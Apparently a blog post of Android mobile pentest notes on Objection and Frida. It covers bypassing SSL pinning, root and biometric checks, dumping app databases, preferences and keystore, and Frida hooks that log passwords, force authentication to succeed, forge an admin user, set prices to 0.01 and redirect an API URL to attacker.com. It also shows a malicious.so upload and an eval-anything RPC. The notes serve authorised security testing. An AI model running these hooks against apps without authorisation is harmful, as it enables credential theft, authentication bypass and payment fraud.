Skip to main content

Mobile VAPT Notes (Android Dynamic Analysis)

3446 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Mobile VAPT Notes (Android)
#


Dynamic Analysis
#

Objection
#

Installation and Setup:
#

# Install objection:
pip3 install objection

# Verify installation:
objection --version

# Update to latest version:
pip3 install --upgrade objection

# Install with plugin support:
pip3 install objection[all]

# Basic connection to app:
objection -g <package_name> explore

# Connect with USB device:
objection -g com.example.app explore

# Spawn app and attach (recommended):
objection -g com.example.app explore --startup-command "android sslpinning disable"

# Connect via network (if Frida server is remote):
objection -N -h <DEVICE_IP> -p 27042 -g com.example.app explore

# Attach to running process:
objection -g com.example.app explore --attach

# Spawn with multiple startup commands:
objection -g com.example.app explore \
    --startup-command "android sslpinning disable" \
    --startup-command "android root disable"

# Run commands in batch mode:
objection -g com.example.app run \
    "android sslpinning disable" \
    "android root disable" \
    "android intent launch_activity com.example.app.SecretActivity"

# OPSEC: Use quiet mode to reduce detection:
objection -g com.example.app explore --quiet

Essential Objection Commands:
#

Security Bypass:
#

# Inside objection console:

# Disable SSL pinning (multiple methods):
android sslpinning disable
android sslpinning disable --quiet

# Verify SSL pinning status:
android sslpinning list_hooks

# Disable root detection:
android root disable

# Simulate non-rooted environment:
android root simulate

# List root detection hooks:
jobs list

# Bypass biometric authentication:
android biometrics bypass

# Disable screenshot protection:
android ui screenshot_protection disable

# Bypass debugger detection:
android hooking set return_value android.os.Debug.isDebuggerConnected false

# OPSEC: Combine multiple bypasses
# Save to startup script:
cat > objection_startup.txt << 'EOF'
android sslpinning disable
android root disable
android biometrics bypass
EOF

objection -g com.example.app explore --startup-script objection_startup.txt

Data Extraction & Analysis:
#

# === SharedPreferences ===
# List all SharedPreferences files:
android preferences list

# Get specific preferences file:
android preferences get com.example.app_preferences

# Watch preferences changes in real-time:
android preferences watch

# Dump all preferences:
android preferences dump

# === SQLite Databases ===
# List all databases:
android sqlite list

# Connect to database:
android sqlite connect /data/data/com.example.app/databases/users.db

# Inside SQLite console:
.tables                              # List all tables
.schema users                        # Show table schema
SELECT * FROM users;                 # Query data
SELECT username, password FROM users WHERE admin=1;
.quit                               # Exit SQLite console

# Execute query directly:
android sqlite execute "SELECT * FROM users LIMIT 10" /data/data/com.example.app/databases/users.db

# Dump entire database:
android sqlite dump /data/data/com.example.app/databases/users.db

# === File System ===
# List files in app directory:
android filesystem ls /data/data/com.example.app/

# List with details:
android filesystem ls -la /data/data/com.example.app/

# Read file content:
android filesystem cat /data/data/com.example.app/shared_prefs/settings.xml

# Download file from device:
android filesystem download /data/data/com.example.app/databases/users.db ./users.db

# Upload file to device:
android filesystem upload ./malicious.so /data/data/com.example.app/lib/malicious.so

# List readable files (non-root):
android filesystem readable

# === Clipboard ===
# Monitor clipboard:
android clipboard monitor

# Get clipboard content:
android clipboard get

# Set clipboard content:
android clipboard set "test data"

# === Intents ===
# Launch activity:
android intent launch_activity com.example.app.MainActivity

# Launch with extras:
android intent launch_activity com.example.app.WebViewActivity \
    --extra-string url file:///etc/passwd

# Start service:
android intent launch_service com.example.app.BackgroundService

# Send broadcast:
android intent send_broadcast com.example.app.CUSTOM_ACTION

# === Keystore ===
# List keystore entries:
android keystore list

# Get keystore entry details:
android keystore detail <alias>

# Clear keystore (requires root):
android keystore clear

Class and Method Hooking:
#

# === Search Classes ===
# Search for classes by keyword:
android hooking search classes login
android hooking search classes crypto
android hooking search classes http
android hooking search classes webview

# Search with regex:
android hooking search classes ".*Authentication.*"

# === List Methods ===
# List all methods in a class:
android hooking list class_methods com.example.app.LoginManager

# List with full signatures:
android hooking list class_methods com.example.app.LoginManager --include-parents

# === Watch Method Calls ===
# Watch method execution:
android hooking watch class_method com.example.app.LoginManager.authenticateUser \
    --dump-args --dump-return --dump-backtrace

# Watch all methods in class:
android hooking watch class com.example.app.CryptoManager --dump-args

# === Modify Return Values ===
# Set method to return true:
android hooking set return_value com.example.app.AuthManager.isAuthenticated true

# Set method to return false (bypass checks):
android hooking set return_value com.example.app.RootDetector.isRooted false
android hooking set return_value com.example.app.IntegrityCheck.isModified false

# Set custom return value:
android hooking set return_value com.example.app.PriceCalculator.getPrice 0.01

# === Generate Hook Scripts ===
# Generate simple hook template:
android hooking generate simple com.example.app.LoginManager

# Generate class with all methods:
android hooking generate class com.example.app.CryptoManager

# === Advanced Hooking ===
# Hook constructor:
android hooking watch class_method com.example.app.User.$init --dump-args

# Hook native methods:
android hooking list class_methods com.example.app.NativeLib | grep native

# List current hooks:
jobs list

# Kill specific hook:
jobs kill <job_id>

# Kill all hooks:
jobs kill-all

Memory Operations:
#

# === Memory Inspection ===
# List loaded modules:
memory list modules

# List exports from module:
memory list exports libnative.so

# Search memory for string:
memory search "password"

# Search for byte pattern:
memory search --pattern "48 65 6C 6C 6F"  # "Hello" in hex

# Dump memory region:
memory dump all /data/local/tmp/memory_dump.bin

# Dump specific address range:
memory dump 0x12345000 1024 /data/local/tmp/region_dump.bin

# === Heap Operations ===
# Search for class instances in heap:
android heap search instances com.example.app.User

# Execute JavaScript in heap context:
android heap evaluate "Java.use('com.example.app.Config').getInstance().getApiKey()"

# Print object fields:
android heap print_fields <instance_address>

# === Frida Scripts ===
# Import custom Frida script:
import /path/to/custom_script.js

# Unload script:
unload <script_name>

Advanced Objection Techniques:
#

# === Plugin Management ===
# List available plugins:
plugin list

# Load plugin:
plugin load <plugin_name>

# === Custom Commands ===
# Execute shell command on device:
!adb shell ls /data/data/com.example.app/

# Execute JavaScript:
android eval "console.log('test')"

# === Session Management ===
# Save session for later:
import objection_session.json

# Export current session:
export objection_session.json

# === Logging ===
# Enable verbose logging:
android debug --verbose

# Watch logcat from objection:
!adb logcat | grep com.example.app

# === Automation ===
# Create automation script:
cat > auto_analysis.txt << 'EOF'
android sslpinning disable
android root disable
android preferences dump
android sqlite list
android filesystem ls /data/data/com.example.app/
android hooking watch class_method com.example.app.LoginManager.login --dump-args
EOF

# Run automation:
objection -g com.example.app explore --startup-script auto_analysis.txt

Frida
#

Basic Frida Commands
#

# List all processes:
frida-ps -U                           # USB connected device
frida-ps -R                           # Remote device
frida-ps -H <DEVICE_IP>:27042        # Network device

# List running applications:
frida-ps -Uai                         # Installed apps
frida-ps -Ua                          # Running apps only

# Get detailed process information:
frida-ps -Uai | grep -i <keyword>

# Attach to running process:
frida -U -n <process_name>
frida -U -p <PID>
frida -U com.example.app

# Spawn and attach (recommended):
frida -U -f com.example.app          # Spawn and pause
frida -U -f com.example.app --no-pause   # Spawn and continue

# Load script while attaching:
frida -U -f com.example.app -l script.js --no-pause

# Interactive REPL mode:
frida -U com.example.app

# Execute code snippet:
frida -U com.example.app -e "Java.perform(function(){ console.log('test'); });"

# Evaluate code from command line:
frida -U com.example.app --eval "Java.perform(function(){ console.log(Java.androidVersion); });"

# Attach to multiple processes:
frida -U -f com.example.app -f com.example.app2 -l script.js

# Remote device connection:
frida -H <DEVICE_IP>:27042 -f com.example.app -l script.js

# Trace specific function:
frida-trace -U -f com.example.app -j '*!*login*/isu'

# OPSEC: Use quiet mode to reduce output
frida -U -f com.example.app -l script.js -q

Frida REPL (Interactive Console)
#

// Connect to app and enter REPL:
// $ frida -U com.example.app

// List all loaded Java classes:
Java.perform(function() {
    Java.enumerateLoadedClasses({
        onMatch: function(className) {
            console.log(className);
        },
        onComplete: function() {
            console.log("Enumeration complete");
        }
    });
});

// Search for specific classes:
Java.perform(function() {
    Java.enumerateLoadedClasses({
        onMatch: function(className) {
            if (className.toLowerCase().indexOf("login") !== -1) {
                console.log(className);
            }
        },
        onComplete: function() {}
    });
});

// Get class instance:
Java.perform(function() {
    var LoginManager = Java.use("com.example.app.LoginManager");
    console.log(LoginManager);
});

// List class methods:
Java.perform(function() {
    var LoginManager = Java.use("com.example.app.LoginManager");
    var methods = LoginManager.class.getDeclaredMethods();
    methods.forEach(function(method) {
        console.log(method.getName());
    });
});

// List class fields:
Java.perform(function() {
    var Config = Java.use("com.example.app.Config");
    var fields = Config.class.getDeclaredFields();
    fields.forEach(function(field) {
        field.setAccessible(true);
        console.log(field.getName() + ": " + field.getType());
    });
});

// Call static method:
Java.perform(function() {
    var Utils = Java.use("com.example.app.Utils");
    var result = Utils.someStaticMethod("test");
    console.log("Result: " + result);
});

// Get application context:
Java.perform(function() {
    var ActivityThread = Java.use("android.app.ActivityThread");
    var currentApplication = ActivityThread.currentApplication();
    var context = currentApplication.getApplicationContext();
    console.log("Package name: " + context.getPackageName());
});

// Exit REPL:
%exit

Simple Frida Scripts - Building Blocks
#

1. Basic Method Hooking:
#
// basic_hook.js - Hook a single method

Java.perform(function() {
    console.log("[*] Starting basic hook...");
    
    // Get the target class
    var LoginActivity = Java.use("com.example.app.LoginActivity");
    
    // Hook the login method
    LoginActivity.login.implementation = function(username, password) {
        console.log("[*] login() called");
        console.log("[*] Username: " + username);
        console.log("[*] Password: " + password);
        
        // Call the original method
        var result = this.login(username, password);
        
        console.log("[*] Login result: " + result);
        return result;
    };
    
    console.log("[+] Hook installed successfully");
});

// Usage:
// frida -U -f com.example.app -l basic_hook.js --no-pause
2. Method Overloading:
#
// method_overloading.js - Handle multiple method signatures

Java.perform(function() {
    var MyClass = Java.use("com.example.app.MyClass");
    
    // Method with no parameters
    MyClass.doSomething.overload().implementation = function() {
        console.log("[*] doSomething() with no params");
        return this.doSomething();
    };
    
    // Method with String parameter
    MyClass.doSomething.overload('java.lang.String').implementation = function(str) {
        console.log("[*] doSomething(String): " + str);
        return this.doSomething(str);
    };
    
    // Method with int parameter
    MyClass.doSomething.overload('int').implementation = function(num) {
        console.log("[*] doSomething(int): " + num);
        return this.doSomething(num);
    };
    
    // Method with multiple parameters
    MyClass.doSomething.overload('java.lang.String', 'int').implementation = 
        function(str, num) {
        console.log("[*] doSomething(String, int): " + str + ", " + num);
        return this.doSomething(str, num);
    };
    
    // Method with array parameter
    MyClass.processArray.overload('[B').implementation = function(byteArray) {
        console.log("[*] processArray(byte[]): length = " + byteArray.length);
        return this.processArray(byteArray);
    };
});
3. Modifying Return Values:
#
// modify_return.js - Change method return values

Java.perform(function() {
    var AuthManager = Java.use("com.example.app.AuthManager");
    
    // Return true instead of actual result
    AuthManager.isAuthenticated.implementation = function() {
        console.log("[*] isAuthenticated() called");
        var originalResult = this.isAuthenticated();
        console.log("[*] Original result: " + originalResult);
        console.log("[*] Returning: true");
        return true;  // Always return true
    };
    
    // Return false for root detection
    AuthManager.isRooted.implementation = function() {
        console.log("[*] isRooted() bypassed -> false");
        return false;
    };
    
    // Return custom object
    var User = Java.use("com.example.app.model.User");
    AuthManager.getCurrentUser.implementation = function() {
        console.log("[*] getCurrentUser() called");
        
        // Create new user object
        var customUser = User.$new();
        customUser.setId(12345);
        customUser.setUsername("admin");
        customUser.setRole("ADMINISTRATOR");
        
        console.log("[*] Returning custom user");
        return customUser;
    };
    
    // Modify numeric return value
    var PriceCalculator = Java.use("com.example.app.PriceCalculator");
    PriceCalculator.calculateTotal.implementation = function(items) {
        var originalTotal = this.calculateTotal(items);
        console.log("[*] Original total: " + originalTotal);
        
        // Return $0.01 instead
        var BigDecimal = Java.use("java.math.BigDecimal");
        return BigDecimal.$new("0.01");
    };
});
4. Constructor Hooking:
#
// constructor_hook.js - Hook class constructors

Java.perform(function() {
    var User = Java.use("com.example.app.model.User");
    
    // Hook default constructor
    User.$init.overload().implementation = function() {
        console.log("[*] User() constructor called");
        this.$init();
    };
    
    // Hook constructor with parameters
    User.$init.overload('java.lang.String', 'java.lang.String').implementation = 
        function(username, email) {
        console.log("[*] User(String, String) constructor called");
        console.log("[*] Username: " + username);
        console.log("[*] Email: " + email);
        
        // Call original constructor
        this.$init(username, email);
    };
    
    // Hook constructor and modify fields
    var LoginRequest = Java.use("com.example.app.api.LoginRequest");
    LoginRequest.$init.overload('java.lang.String', 'java.lang.String').implementation = 
        function(username, password) {
        console.log("[*] LoginRequest constructor");
        console.log("[*] Credentials: " + username + " / " + password);
        
        // Initialize with original values
        this.$init(username, password);
        
        // Modify field after construction
        this.rememberMe.value = true;
        console.log("[*] Set rememberMe to true");
    };
});
5. Field Access and Modification:
#
// field_access.js - Read and modify class fields

Java.perform(function() {
    var Config = Java.use("com.example.app.Config");
    
    // Read static field
    console.log("[*] API_URL: " + Config.API_URL.value);
    
    // Modify static field
    Config.API_URL.value = "https://attacker.com/api";
    console.log("[*] Modified API_URL: " + Config.API_URL.value);
    
    // Read instance field
    Java.choose("com.example.app.Config", {
        onMatch: function(instance) {
            console.log("[*] Found Config instance");
            console.log("[*] apiKey: " + instance.apiKey.value);
            console.log("[*] debug: " + instance.debug.value);
            
            // Modify instance field
            instance.debug.value = true;
            console.log("[*] Set debug to true");
        },
        onComplete: function() {}
    });
    
    // Access private fields
    var User = Java.use("com.example.app.model.User");
    Java.choose("com.example.app.model.User", {
        onMatch: function(instance) {
            // Get private field using reflection
            var userClass = instance.getClass();
            var privateField = userClass.getDeclaredField("password");
            privateField.setAccessible(true);
            
            var passwordValue = privateField.get(instance);
            console.log("[*] Private password field: " + passwordValue);
            
            // Modify private field
            privateField.set(instance, "newpassword123");
        },
        onComplete: function() {}
    });
    
    // Watch field changes
    var LoginManager = Java.use("com.example.app.LoginManager");
    var originalSetter = LoginManager.setToken;
    LoginManager.setToken.implementation = function(token) {
        console.log("[*] Token being set: " + token);
        return originalSetter.call(this, token);
    };
});
6. Finding and Calling Methods:
#
// method_discovery.js - Discover and invoke methods

Java.perform(function() {
    // Find all methods in a class
    function listMethods(className) {
        var targetClass = Java.use(className);
        var methods = targetClass.class.getDeclaredMethods();
        
        console.log("[*] Methods in " + className + ":");
        methods.forEach(function(method) {
            console.log("    " + method.toString());
        });
    }
    
    // Search for classes containing keyword
    function findClasses(keyword) {
        console.log("[*] Searching for classes containing: " + keyword);
        Java.enumerateLoadedClasses({
            onMatch: function(className) {
                if (className.toLowerCase().indexOf(keyword.toLowerCase()) !== -1) {
                    console.log("    " + className);
                }
            },
            onComplete: function() {
                console.log("[*] Search complete");
            }
        });
    }
    
    // Call method on existing instance
    function callMethodOnInstance(className, methodName) {
        Java.choose(className, {
            onMatch: function(instance) {
                console.log("[*] Found instance of " + className);
                try {
                    var result = instance[methodName]();
                    console.log("[*] Method result: " + result);
                } catch (e) {
                    console.log("[!] Error calling method: " + e);
                }
            },
            onComplete: function() {}
        });
    }
    
    // Create new instance and call method
    function createAndCall(className) {
        var TargetClass = Java.use(className);
        var instance = TargetClass.$new();
        
        // Call method
        var result = instance.someMethod();
        console.log("[*] Result: " + result);
    }
    
    // Usage examples:
    listMethods("com.example.app.LoginManager");
    findClasses("crypto");
    callMethodOnInstance("com.example.app.Config", "getApiKey");
});
7. Exception Handling:
#
// exception_handling.js - Proper error handling in hooks

Java.perform(function() {
    var LoginManager = Java.use("com.example.app.LoginManager");
    
    // Basic try-catch
    LoginManager.login.implementation = function(username, password) {
        try {
            console.log("[*] Login attempt: " + username);
            var result = this.login(username, password);
            return result;
        } catch (e) {
            console.log("[!] Exception caught: " + e);
            console.log("[!] Stack trace: " + e.stack);
            return false;
        }
    };
    
    // Throw custom exception
    var AuthManager = Java.use("com.example.app.AuthManager");
    AuthManager.validateToken.implementation = function(token) {
        console.log("[*] Validating token: " + token);
        
        // Throw exception for testing
        if (token === "test") {
            var Exception = Java.use("java.lang.Exception");
            throw Exception.$new("Invalid token");
        }
        
        return this.validateToken(token);
    };
    
    // Catch specific exception types
    var NetworkManager = Java.use("com.example.app.NetworkManager");
    NetworkManager.makeRequest.implementation = function(url) {
        try {
            return this.makeRequest(url);
        } catch (e) {
            // Check exception type
            var IOException = Java.use("java.io.IOException");
            if (Java.cast(e, IOException)) {
                console.log("[!] IOException: " + e.getMessage());
            }
            
            var NetworkException = Java.use("com.example.app.NetworkException");
            if (Java.cast(e, NetworkException)) {
                console.log("[!] NetworkException: " + e.getMessage());
            }
            
            throw e; // Re-throw
        }
    };
});
8. Timing and Backtrace:
#
// timing_backtrace.js - Measure execution time and get call stack

Java.perform(function() {
    var CryptoManager = Java.use("com.example.app.CryptoManager");
    
    // Measure execution time
    CryptoManager.encrypt.implementation = function(data) {
        var startTime = Date.now();
        console.log("[*] encrypt() called at: " + startTime);
        
        var result = this.encrypt(data);
        
        var endTime = Date.now();
        var duration = endTime - startTime;
        console.log("[*] encrypt() completed in: " + duration + "ms");
        
        return result;
    };
    
    // Get call stack (backtrace)
    var LoginManager = Java.use("com.example.app.LoginManager");
    LoginManager.login.implementation = function(username, password) {
        console.log("[*] login() called from:");
        
        // Get Java stack trace
        var Exception = Java.use("java.lang.Exception");
        var stackTrace = Exception.$new().getStackTrace();
        
        for (var i = 0; i < stackTrace.length && i < 10; i++) {
            var element = stackTrace[i];
            console.log("    at " + element.getClassName() + "." + 
                       element.getMethodName() + "(" + 
                       element.getFileName() + ":" + 
                       element.getLineNumber() + ")");
        }
        
        return this.login(username, password);
    };
    
    // Print full backtrace using Frida
    var AuthManager = Java.use("com.example.app.AuthManager");
    AuthManager.checkAuth.implementation = function() {
        console.log("[*] Backtrace:");
        console.log(Thread.backtrace(this.context, Backtracer.ACCURATE)
            .map(DebugSymbol.fromAddress).join('\n'));
        
        return this.checkAuth();
    };
});

frida-trace - Function Tracing
#

Basic Tracing:
#
# Trace all methods in a class:
frida-trace -U -f com.example.app -j 'com.example.app.LoginManager!*'

# Trace specific method:
frida-trace -U -f com.example.app -j 'com.example.app.LoginManager!login'

# Trace with regex pattern:
frida-trace -U -f com.example.app -j '*!*login*/isu'

# Trace multiple classes:
frida-trace -U -f com.example.app \
    -j 'com.example.app.LoginManager!*' \
    -j 'com.example.app.AuthManager!*'

# Trace Java methods and show arguments:
frida-trace -U -f com.example.app \
    -j 'com.example.app.LoginManager!login' \
    -O trace-args.js

# Trace native functions:
frida-trace -U -f com.example.app -i 'open*' -i 'read*'

# Trace native library:
frida-trace -U -f com.example.app -I 'libnative.so'

# Trace with custom handlers:
frida-trace -U -f com.example.app \
    -j 'com.example.app.CryptoManager!*' \
    -o trace-output.txt

# OPSEC: Trace specific time window
timeout 60 frida-trace -U com.example.app -j '*!*authenticate*/i'
Custom Trace Handlers:
#
// After running frida-trace, edit generated handler files in __handlers__/

// Example: __handlers__/com.example.app/LoginManager/login.js
{
  onEnter(log, args, state) {
    log('[*] login() called');
    log('[*] Username: ' + args[0]);
    log('[*] Password: ' + args[1]);
    
    // Save args for onLeave
    state.username = args[0];
  },
  
  onLeave(log, retval, state) {
    log('[*] login() returned: ' + retval);
    log('[*] User was: ' + state.username);
    
    // Modify return value
    retval.replace(true);
  }
}

Advanced Frida Techniques
#

1. Java.choose - Find Live Instances:
#
// find_instances.js - Find and interact with live objects

Java.perform(function() {
    console.log("[*] Searching for User instances...");
    
    Java.choose("com.example.app.model.User", {
        onMatch: function(instance) {
            console.log("[*] Found User instance:");
            console.log("    ID: " + instance.getId());
            console.log("    Username: " + instance.getUsername());
            console.log("    Email: " + instance.getEmail());
            console.log("    Role: " + instance.getRole());
            
            // Modify instance
            instance.setRole("ADMIN");
            console.log("[*] Changed role to ADMIN");
        },
        onComplete: function() {
            console.log("[*] Search complete");
        }
    });
    
    // Find instances with specific criteria
    console.log("[*] Searching for admin users...");
    Java.choose("com.example.app.model.User", {
        onMatch: function(instance) {
            if (instance.getRole() === "ADMIN") {
                console.log("[*] Found admin: " + instance.getUsername());
            }
        },
        onComplete: function() {}
    });
});
2. Java.cast - Type Casting:
#
// type_casting.js - Cast objects to different types

Java.perform(function() {
    var Object = Java.use("java.lang.Object");
    var String = Java.use("java.lang.String");
    
    // Cast to specific type
    Java.choose("com.example.app.BaseActivity", {
        onMatch: function(instance) {
            // Cast to subclass
            var MainActivity = Java.use("com.example.app.MainActivity");
            try {
                var mainActivity = Java.cast(instance, MainActivity);
                console.log("[*] Successfully cast to MainActivity");
                
                // Now can call MainActivity-specific methods
                mainActivity.someSpecificMethod();
            } catch (e) {
                console.log("[-] Not a MainActivity instance");
            }
        },
        onComplete: function() {}
    });
    
    // Check type before casting
    function safeCast(obj, targetClassName) {
        try {
            var TargetClass = Java.use(targetClassName);
            if (obj.getClass().getName() === targetClassName) {
                return Java.cast(obj, TargetClass);
            }
        } catch (e) {
            console.log("[!] Cast failed: " + e);
        }
        return null;
    }
});
3. Java.registerClass - Create Custom Classes:
#
// custom_class.js - Create custom Java classes

Java.perform(function() {
    // Create custom implementation
    var MyCustomListener = Java.registerClass({
        name: 'com.frida.MyCustomListener',
        implements: [Java.use('com.example.app.DataListener')],
        fields: {
            data: 'java.lang.String'
        },
        methods: {
            onDataReceived: function(data) {
                console.log('[*] Data received: ' + data);
                this.data.value = data;
            },
            getData: function() {
                return this.data.value;
            }
        }
    });
    
    // Use custom class
    var listener = MyCustomListener.$new();
    
    // Register with app
    Java.choose("com.example.app.DataManager", {
        onMatch: function(instance) {
            instance.setListener(listener);
            console.log("[*] Custom listener registered");
        },
        onComplete: function() {}
    });
});
4. Interceptor.attach - Native Function Hooking:
#
// native_hooking.js - Hook native functions

// Hook libc functions
Interceptor.attach(Module.findExportByName("libc.so", "open"), {
    onEnter: function(args) {
        var path = Memory.readUtf8String(args[0]);
        console.log("[*] open() called: " + path);
        
        // Block specific file access
        if (path.includes("/proc/")) {
            console.log("[!] Blocking access to: " + path);
            args[0] = Memory.allocUtf8String("/dev/null");
        }
    },
    onLeave: function(retval) {
        console.log("[*] open() returned: " + retval);
    }
});

// Hook custom native library
var nativeLib = Process.findModuleByName("libnative.so");
if (nativeLib) {
    var encryptFunc = nativeLib.findExportByName("Java_com_example_app_Native_encrypt");
    
    Interceptor.attach(encryptFunc, {
        onEnter: function(args) {
            console.log("[*] Native encrypt() called");
            // args[0] = JNIEnv*
            // args[1] = jobject (this)
            // args[2] = first parameter
            
            var data = Java.vm.getEnv().getStringUtfChars(args[2], null).readCString();
            console.log("[*] Data to encrypt: " + data);
        },
        onLeave: function(retval) {
            console.log("[*] Native encrypt() returned");
        }
    });
}

// Hook by address (if symbol not exported)
var baseAddr = Module.findBaseAddress("libnative.so");
var targetAddr = baseAddr.add(0x1234); // Offset from IDA/Ghidra

Interceptor.attach(targetAddr, {
    onEnter: function(args) {
        console.log("[*] Function at offset 0x1234 called");
        console.log("[*] arg0: " + args[0]);
        console.log("[*] arg1: " + args[1]);
    },
    onLeave: function(retval) {
        console.log("[*] Return value: " + retval);
    }
});
5. Memory Operations:
#
// memory_operations.js - Read/Write memory

// Read memory
var someAddress = ptr("0x12345678");
var value = Memory.readU32(someAddress);
console.log("[*] Value at address: " + value);

// Read string
var stringAddress = ptr("0x23456789");
var str = Memory.readUtf8String(stringAddress);
console.log("[*] String: " + str);

// Write memory
Memory.writeU32(someAddress, 0x41424344);
console.log("[*] Wrote value to memory");

// Allocate memory
var buffer = Memory.alloc(256);
Memory.writeUtf8String(buffer, "Hello from Frida");

// Search memory for pattern
Memory.scan(Module.findBaseAddress("libnative.so"), Process.pageSize, "48 8B 05", {
    onMatch: function(address, size) {
        console.log("[*] Pattern found at: " + address);
    },
    onComplete: function() {
        console.log("[*] Memory scan complete");
    }
});

// Protect memory region
Memory.protect(someAddress, 4096, 'rwx');

// Copy memory
var source = ptr("0x12345000");
var dest = Memory.alloc(1024);
Memory.copy(dest, source, 1024);
6. Script Communication (RPC):
#
// rpc_example.js - Remote Procedure Calls

Java.perform(function() {
    // Export functions to Python/CLI
    rpc.exports = {
        // Simple function
        login: function(username, password) {
            var result = false;
            Java.choose("com.example.app.LoginManager", {
                onMatch: function(instance) {
                    result = instance.login(username, password);
                },
                onComplete: function() {}
            });
            return result;
        },
        
        // Get user info
        getUserInfo: function() {
            var info = {};
            Java.choose("com.example.app.model.User", {
                onMatch: function(instance) {
                    info.username = instance.getUsername();
                    info.email = instance.getEmail();
                    info.role = instance.getRole();
                },
                onComplete: function() {}
            });
            return info;
        },
        
        // Modify app state
        enableDebugMode: function() {
            var Config = Java.use("com.example.app.Config");
            Config.DEBUG.value = true;
            return "Debug mode enabled";
        },
        
        // Execute arbitrary code
        executeCode: function(code) {
            try {
                return eval(code);
            } catch (e) {
                return "Error: " + e;
            }
        }
    };
});

// Python script to call RPC functions:
/*
import frida
import sys

def on_message(message, data):
    print(message)

device = frida.get_usb_device()
session = device.attach("com.example.app")

with open("rpc_example.js") as f:
    script = session.create_script(f.read())

script.on('message', on_message)
script.load()

# Call exported functions
result = script.exports.login("admin", "password123")
print(f"Login result: {result}")

user_info = script.exports.get_user_info()
print(f"User info: {user_info}")

script.exports.enable_debug_mode()
*/